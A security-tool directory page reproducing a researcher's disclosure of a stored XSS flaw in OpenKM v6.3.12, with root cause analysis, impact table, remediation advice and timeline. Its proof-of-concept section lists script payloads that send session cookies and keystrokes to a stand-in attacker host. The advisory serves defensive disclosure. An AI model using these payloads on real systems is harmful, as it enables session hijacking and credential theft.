Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-30503-OpenKM-6.3.12-Stored-XSS — Detailed disclosure of CVE-2026-30503, a stored XSS vulnerability in OpenKM v6.3.12. Includes root cause analysis, PoC payloads, impact assessment, and remediation recommendations for security researchers and pentesters. | Kitploit
Tools/GitHubGitHub/dharmstm/cve-2026-30503-openkm-6.3.12-stored-xss
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & Education
GitHubdharmstm/cve-2026-30503-openkm-6.3.12-stored-xss

CVE-2026-30503-OpenKM-6.3.12-Stored-XSS

Detailed disclosure of CVE-2026-30503, a stored XSS vulnerability in OpenKM v6.3.12. Includes root cause analysis, PoC payloads, impact assessment, and remediation recommendations for security researchers and pentesters.

View Repository
13 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

🛡️ CVE-2026-30503 — Stored XSS in OpenKM v6.3.12

CVE Badge OpenKM Type Disclosure Status

Discovered & Reported by Dharmendra Kumar — Security Researcher

Cybersecurity | Penetration Testing | Vulnerability Research | Responsible Disclosure


📌 Table of Contents

  • Overview
  • CVE Details
  • Affected Product
  • Vulnerability Description
  • Root Cause Analysis
  • Impact & Risk Assessment
  • Proof of Concept (PoC)
  • Remediation & Recommendations
  • Disclosure Timeline
  • References
  • About the Researcher

  • 🔍 Overview

    This repository documents the responsible disclosure of CVE-2026-30503, a Stored Cross-Site Scripting (XSS) vulnerability identified in OpenKM v6.3.12 — an open-source document management system widely used across enterprise environments.

    The vulnerability allows an authenticated attacker to inject persistent malicious JavaScript into the application, which executes in the browser context of any user (including administrators) who subsequently views the affected content.

    ⚠️ Severity: High | Attack Vector: Network | Privileges Required: Low | User Interaction: Required


    📋 CVE Details

    FieldDetails
    CVE IDCVE-2026-30503
    ProductOpenKM
    Affected Versionv6.3.12
    Vulnerability ClassStored Cross-Site Scripting (XSS)
    CWECWE-79: Improper Neutralization of Input During Web Page Generation
    CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
    ResearcherDharmendra Kumar
    Disclosure TypeResponsible / Coordinated

    📦 Affected Product

    OpenKM is a free and open-source document management system (DMS) that provides a web interface for managing, auditing, and distributing business documents. It is used by enterprises, government bodies, and educational institutions globally.

    • Product Name: OpenKM Document Management System
    • Affected Version: v6.3.12
    • Vendor Website: https://www.openkm.com
    • Category: Document Management System (DMS)
    • Language/Stack: Java (JSP/Spring)

    🧨 Vulnerability Description

    Multiple Stored Cross-Site Scripting (XSS) vulnerabilities were discovered in OpenKM v6.3.12. An attacker with low-privileged authenticated access can inject arbitrary JavaScript payloads into one or more input fields. These payloads are permanently stored in the application's backend and automatically executed whenever any user — including administrators — accesses the affected page or component.

    Unlike Reflected XSS, which requires the victim to click a crafted link, Stored XSS payloads are embedded in the application itself, making them significantly more dangerous and persistent.

    Vulnerable Endpoint(s)

    • User-controlled input fields within document metadata, notes, or naming fields
    • The application fails to sanitize or encode user input before rendering it back to the browser

    🔬 Root Cause Analysis

    The vulnerability stems from three compounding weaknesses in the application's input handling pipeline:

    root@kitploit:~
    User Input ──► [NO Validation] ──► Stored in DB ──► [NO Output Encoding] ──► Rendered in Browser ──► XSS Executed
    
    WeaknessDescription
    ❌ Missing Input ValidationApplication does not restrict or sanitize special characters (<, >, ", ', ;) in user-supplied fields
    ❌ Missing Output EncodingStored values are rendered directly into HTML without HTML-entity encoding
    ❌ Unsafe DOM RenderingUser-supplied data is embedded in the DOM context without CSP or sanitization controls

    💥 Impact & Risk Assessment

    A successful exploitation of this vulnerability can lead to:

    RiskDescription
    🍪 Session HijackingSteal authenticated session tokens via document.cookie exfiltration
    👤 Account TakeoverCompromise victim accounts, including administrator accounts
    🔐 Credential HarvestingInject phishing forms to capture login credentials
    📤 Data ExfiltrationSilently extract sensitive documents or metadata from the DMS
    ⚙️ Unauthorized ActionsPerform privileged operations on behalf of the victim (delete/modify documents)
    🎯 Admin TargetingPayload executes in the admin panel when an administrator reviews content
    🔄 Worm PropagationSelf-replicating XSS payload can spread across users

    🧪 Proof of Concept (PoC)

    ⚠️ Disclaimer: This PoC is shared strictly for educational and security research purposes under responsible disclosure principles. Do not use this against systems you do not own or have explicit written permission to test.

    Payload Example (Generic)

    root@kitploit:~
    // Basic PoC — demonstrates script execution
    <script>alert('CVE-2026-30503 - XSS by Dharmendra Kumar')</script>
    
    // Session token exfiltration
    <script>fetch('https://attacker.example.com/steal?c='+document.cookie)</script>
    
    // Keylogger injection
    <script>document.onkeypress=function(e){fetch('https://attacker.example.com/log?k='+e.key)}</script>
    

    Steps to Reproduce

    1. Log in to OpenKM v6.3.12 with a low-privileged authenticated account
    2. Navigate to the vulnerable input field (e.g., document metadata / notes / title field)
    3. Inject an XSS payload such as <script>alert(document.cookie)</script>
    4. Save / submit the entry
    5. Log in as a different user (or administrator) and navigate to the affected resource
    6. Observe the JavaScript payload executing in the victim's browser context

    🛠️ Remediation & Recommendations

    For Developers / Vendors

    RecommendationImplementation
    ✅ Input ValidationWhitelist allowed characters; reject or strip HTML special characters on all user inputs
    ✅ Output EncodingUse context-aware HTML encoding (e.g., OWASP Java Encoder) before rendering data to HTML
    ✅ Content Security Policy (CSP)Implement a strict CSP header: Content-Security-Policy: script-src 'self'
    ✅ HTTPOnly & Secure CookiesSet HttpOnly and Secure flags on all session cookies to prevent JS access
    ✅ Use Security LibrariesIntegrate OWASP AntiSamy or DOMPurify for HTML sanitization
    ✅ Security Code ReviewAudit all render paths for unsanitized user-controlled data
    ✅ UpgradeApply the latest vendor-supplied patch or upgrade to a patched version

    For System Administrators

    • 🔒 Restrict access to the OpenKM instance to trusted networks only
    • 📊 Monitor application logs for unusual activity or unexpected script tags in input fields
    • 🔄 Keep the application updated to the latest patched release
    • 🧩 Deploy a Web Application Firewall (WAF) with XSS detection rules as a compensating control

    📅 Disclosure Timeline

    DateEvent
    🔍 DiscoveryVulnerability identified during security assessment of OpenKM v6.3.12
    📧 Vendor NotificationInitial disclosure report submitted to OpenKM security team
    🤝 Vendor AcknowledgmentOpenKM team acknowledged the report
    📝 CVE AssignmentCVE-2026-30503 assigned by CVE Program
    🌐 Public DisclosureCoordinated public disclosure after remediation period

    This vulnerability was disclosed following responsible disclosure best practices, coordinating with the vendor and the CVE Program prior to public release.


    📚 References

    • 🔗 [ Github] (https://github.com/dharmstm/OpenKM-6.3-Stored-XSS-Report/).
    • 🔗 MITRE CVE Entry — CVE-2026-30503
    • 🔗 NVD — National Vulnerability Database
    • 🔗 OpenKM Official Website
    • 🔗 OWASP XSS Prevention Cheat Sheet
    • 🔗 CWE-79: Cross-site Scripting
    • 🔗 OWASP Top 10 — A03:2021 Injection

    👨‍💻 About the Researcher

    Dharmendra Kumar

    Security Researcher | Penetration Tester | Bug Hunter

    Dharmendra Kumar is an independent cybersecurity researcher specializing in web application security, penetration testing, and responsible vulnerability disclosure. With a focus on identifying real-world security flaws in widely-used software, his work contributes to improving the security posture of applications used globally.

    Areas of Expertise:

    • 🌐 Web Application Penetration Testing
    • 🐛 Bug Bounty Hunting
    • 🔍 Vulnerability Research & CVE Reporting
    • 📋 Responsible Disclosure & Security Advisories
    • 🛡️ OWASP Top 10 Vulnerabilities

    Connect:

    LinkedIn GitHub Twitter


    ⚖️ Legal Disclaimer

    This repository is intended solely for educational and informational purposes. The vulnerability details and proof-of-concept payloads shared here are published in accordance with responsible disclosure principles. The author does not condone, encourage, or take responsibility for any unauthorized use of this information. Always obtain explicit written permission before conducting security testing on any system.


    🙏 Acknowledgments

    Special thanks to:

    • The OpenKM development team for their cooperation during the responsible disclosure process
    • The CVE Program / MITRE Corporation for assigning and coordinating the CVE identifier
    • The broader security research community for their continued efforts to make software safer for everyone

    ⭐ If this research was helpful, consider starring this repository.

    © 2026 Dharmendra Kumar — All Rights Reserved

    Visitors

    Download Tool